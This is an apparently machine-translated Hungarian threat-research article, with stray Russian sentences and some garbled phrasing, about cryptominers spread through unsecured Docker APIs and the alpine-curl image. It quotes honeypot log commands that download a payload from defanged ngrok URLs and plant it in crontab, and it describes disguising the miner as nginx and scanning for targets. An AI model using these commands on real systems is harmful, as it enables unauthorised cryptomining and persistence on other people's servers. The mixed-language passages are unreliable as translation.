Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére

Elemeztük a honeypot konténerek – ezeket fenyegetésmonitorozásra hozták létre – által gyűjtött adatokat, és jelentős aktivitást fedeztünk fel nem kívánt vagy jogosulatlan kriptovaluta-bányászok részéről, amelyeket rosszindulatú konténerként telepítettek egy közösség által közzétett Docker Hub rendszerkép segítségével. A rendszerképet egy kriptovaluta-bányász kártevőt terjesztő szolgáltatás részeként használják.

Ezenkívül hálózatokkal való együttműködésre szolgáló programokat is telepítenek, hogy behatoljanak a szomszédos konténerek és alkalmazások nyitott felületeire.

A honeypotjainkat a jelenlegi állapotukban, az alapértelmezett beállításokkal hagyjuk, bármilyen biztonsági intézkedés vagy további szoftverek utólagos telepítése nélkül. Felhívjuk figyelmét, hogy a Docker kezdeti beállítási ajánlásokat tartalmaz a hibák és az egyszerű sebezhetőségek elkerülése érdekében. Az általunk használt honeypotok azonban olyan konténerek, amelyeket a konténerizációs platformot célzó támadások észlelésére terveztek, nem pedig a konténerekben lévő alkalmazásokat.

Az észlelt rosszindulatú tevékenység azért is figyelemre méltó, mert nem igényel sebezhetőségeket, és független a Docker verziójától. A támadóknak mindössze egy rosszul konfigurált, és így sérült konténerképre van szükségük ahhoz, hogy több sérült szervert megfertőzzenek.

A privilegizált Docker API lehetővé teszi a felhasználó számára, hogy számos műveletet hajtson végre: csapatok, beleértve a futó konténerek listájának lekérését, naplók lekérését egy adott konténerből, az indítást, leállítást (beleértve a kényszerített leállítást is), sőt egy új konténer létrehozását egy adott rendszerképből a megadott beállításokkal.

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére
Bal oldalon a kártevő átviteli módja látható. Jobb oldalon a támadó környezete látható, amely lehetővé teszi a távoli rendszerkép telepítését.

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére
3762 nyilvános Docker API országos megoszlása. A Shodan 2019. február 12-i keresése alapján.

Támadási lánc és hasznos teher változatai

A honeypotok nem voltak az egyetlen módja a rosszindulatú tevékenységek észlelésének. A Shodan adatai azt mutatják, hogy a kitett Docker API-k száma (lásd a második diagramot) megnőtt, mióta megvizsgáltunk egy rosszul konfigurált konténert, amelyet hídként használtak a Monero bányászszoftver telepítéséhez. Tavaly októberben (2018, a legfrissebb elérhető adatok). így is nézheted kb. fordító) csak 856 nyílt API volt.

A honeypot naplók vizsgálata kimutatta, hogy a konténerképek használata a következők használatával is összefüggésben állt: ngrok, egy eszköz biztonságos kapcsolatok létrehozására vagy forgalom továbbítására nyilvánosan elérhető pontokról megadott címekre vagy erőforrásokra (pl. localhost). Ez lehetővé teszi a támadók számára, hogy dinamikusan hozzanak létre URL-eket, amikor hasznos adatokat kézbesítenek egy nyílt szerverre. Az alábbiakban kódpéldákat láthatunk naplókból, amelyek az ngrok szolgáltatás visszaéléseit mutatják:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Amint látható, a feltöltött fájlok folyamatosan változó URL-címekről töltődnek le. Ezeknek az URL-címeknek rövid a lejárati dátuma, így a hasznos adatokat a lejáratuk után nem lehet letölteni.

Есть два варианта полезной нагрузки. Первый — скомпилированный майнер в формате ELF для Linux (определяемый как Coinminer.SH.MALXMR.ATNO), который подключается к пулу для майнинга. Второй — скрипт (TrojanSpy.SH.ZNETMAP.A), предназначенный для получения определенных сетевых инструментов, используемых для сканирования сетевых диапазонов и последующего поиска новых целей.

A dropper szkript két változót állít be, amelyeket később a kriptovaluta-bányász telepítéséhez használnak. A HOST változó tartalmazza azt az URL-t, ahol a rosszindulatú fájlok találhatók, a RIP változó pedig a telepítendő bányász fájlneve (valójában a hash). A HOST változó minden alkalommal megváltozik, amikor a hash változó megváltozik. A szkript azt is megpróbálja ellenőrizni, hogy nem futnak-e más kriptovaluta-bányászok a támadott szerveren.

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére
Példák a HOST és RIP változókra, valamint egy kódrészlet, amely ellenőrzi, hogy nem futnak-e más bányászok

Прежде чем запускать майнер, он переименовывается в nginx. Другие версии этого скрипта переименовывают майнер в другие легитимные сервисы, которые могут присутствовать в окружениях Linux. Этого обычно достаточно для обхода проверок по списку запущенных процессов.

A keresőszkriptnek is megvannak a saját egyedi funkciói. Ugyanazt az URL-szolgáltatást használja a szükséges eszközök telepítéséhez. Ezek közé tartozik a zmap bináris fájl, amely a hálózatok szkennelésére és a nyitott portok listájának lekérésére szolgál. A szkript letölt egy másik bináris fájlt is, amely a felfedezett szolgáltatásokkal való interakcióhoz és a bannerek lekéréséhez használható, hogy további információkat határozzon meg a felfedezett szolgáltatásról (például a verziójáról).

A szkript előre meghatároz néhány hálózati tartományt a vizsgálathoz, de ez a szkript verziójától függ. A vizsgálat futtatása előtt meghatározza a szolgáltatások – jelen esetben a Docker – célportjait is.

Как только найдены предполагаемые цели — автоматически из них снимаются баннеры. Скрипт также фильтрует цели в зависимости от интересующих его сервисов, приложений, компонентов или платформ: Redis, Jenkins, Drupal, MODX, Kubernetes Mester, a Docker kliens 1.16-ot és az Apache CouchDB-t. Ha egy beolvasott szerver ezek bármelyikével megegyezik, akkor azt egy szövegfájlba menti a rendszer, amelyet a támadók később további elemzésre és hackelésre használhatnak. Ezek a szövegfájlok dinamikus linkeken keresztül töltődnek fel a támadók szervereire. Ez azt jelenti, hogy minden fájlnak külön URL-címe van, ami megnehezíti a későbbi hozzáférést.

A használt támadási vektor egy Docker-kép, ahogy az a következő két kódrészletben is látható.

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére
Fent egy legitim szolgáltatásra való átnevezés látható, alatta pedig a zmap hálózatok szkennelésére való használata látható.

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére
Felül előre definiált hálózati tartományok, alul pedig a keresési szolgáltatásokhoz tartozó adott portok, beleértve a Dockert is.

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére
A képernyőképen látható, hogy az alpesi göndör hajú képet több mint 10 milliószor töltötték le.

На основе Alpine Linux и curl, ресурсоэффективного инструмента CLI для передачи файлов по различным протоколам, можно собрать Docker képAmint az előző ábrán látható, ezt a képet már több mint 10 milliószor töltötték le. Ez a magas letöltésszám arra utalhat, hogy ezt a képet belépési pontként használják; ezt a képet több mint hat hónapja frissítették; a tárházban található többi képet a felhasználók nem töltötték le ilyen gyakran. A Dockerben belépési pont — egy utasításkészlet, amely egy konténer indításához konfigurálható. Ha a belépési pont helytelenül van konfigurálva (például a konténer elérhető az interneten), a kép támadási vektorként használható. A támadók felhasználhatják hasznos adatok kézbesítésére, ha nem támogatott, nem megfelelően konfigurált vagy elérhető konténert találnak.

Fontos megjegyezni, hogy ez a kép (alpine-curl) önmagában nem kártékony, de ahogy a fentiekből is látható, kártékony funkciók végrehajtására használható. Hasonló Docker-képek is felhasználhatók kártékony célokra. Felvettük a kapcsolatot a Dockerrel, és dolgozunk velük a probléma megoldásán.

Ajánlások

Helytelen beállítás maradványok egy állandó probléma sok vállalat számára, különösen azok számára, akik bevezetik DevOps, a gyors fejlesztésre és szállításra összpontosítva. Ezt súlyosbítja az auditálási és monitorozási előírások betartásának szükségessége, az adatvédelem felügyeletének szükségessége, valamint a meg nem felelés hatalmas költségei. A biztonsági automatizálás beépítése a fejlesztési életciklusba nemcsak a biztonsági réseket azonosítja, amelyek egyébként észrevétlenek maradnának, hanem csökkenti a felesleges munkaterhelést is, például az egyes észlelt sebezhetőségek vagy helytelen konfigurációk esetén további szoftververziók futtatását az alkalmazás telepítése után.

A cikkben tárgyalt incidens rávilágít arra, hogy a biztonsággal már a kezdetektől foglalkozni kell, beleértve a következő ajánlásokat:

  • Rendszergazdáknak és fejlesztőknek: Mindig ellenőrizd az API-beállításaidat, hogy csak egy adott szerverről vagy belső hálózatról érkező kéréseket fogadjanak.
  • Kövesse a minimális jogosultságok elvét: gondoskodjon a konténerképek aláírásáról és ellenőrzéséről, korlátozza a hozzáférést a kritikus összetevőkhöz (konténerindítási szolgáltatás), és titkosítsa a hálózati kapcsolatokat.
  • Kövesse ajánlásokat és engedélyezze a biztonsági mechanizmusokat, például a Dockertől és beépített biztonsági jellemzők.
  • A futási környezetek és a képek automatikus vizsgálatával további információkat szerezhet a konténeren belül futó folyamatokról (például hamisítás észleléséhez vagy sebezhetőségek kereséséhez). Az alkalmazásvezérlés és az integritásfigyelés segít a szervereken, fájlokban és rendszerterületeken bekövetkező rendellenes változások észlelésében.

A Trendmicro segít a DevOps csapatoknak biztonságosan fejleszteni, gyorsan telepíteni és bárhol futtatni. Trend Micro Hibrid felhőbiztonság Hatékony, optimalizált és automatizált biztonságot nyújt a szervezet DevOps folyamatán belül, és többféle védelmet kínál a fenyegetésekkel szemben. XGen a fizikai, virtuális és felhőalapú munkafolyamatok futásidejű védelmére. Emellett konténervédelmet is biztosít Mély biztonság и Mélybiztonsági intelligens ellenőrzés, amelyek a Docker konténerképeket a fejlesztési folyamat bármely pontján átvizsgálják rosszindulatú programok és sebezhetőségek után kutatva, hogy megelőzzék a fenyegetéseket, mielőtt azok telepítésre kerülnének.

A kompromisszum jelei

Kapcsolódó hashek:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

tovább videós kurzus a Dockeren Gyakorlati előadók mutatják be, hogy mely módosításokat kell először megtenni a fent leírt helyzet valószínűségének minimalizálása vagy teljes elkerülése érdekében. Augusztus 19-21. között az online intenzív képzésen DevOps eszközök és csalások Ezeket és hasonló biztonsági kérdéseket megvitathatod kollégáiddal és gyakorló tanáraiddal egy kerekasztal-beszélgetésen, ahol mindenki elmondhatja a véleményét, és meghallgathatja a tapasztalt kollégák fájdalmait és sikereit.

Forrás: will.com

Vásároljon megbízható tárhelyet DDoS védelemmel, VPS VDS szerverekkel rendelkező webhelyekhez 🔥 Vásároljon megbízható weboldal tárhelyet DDoS védelemmel, VPS VDS szerverekkel | ProHoster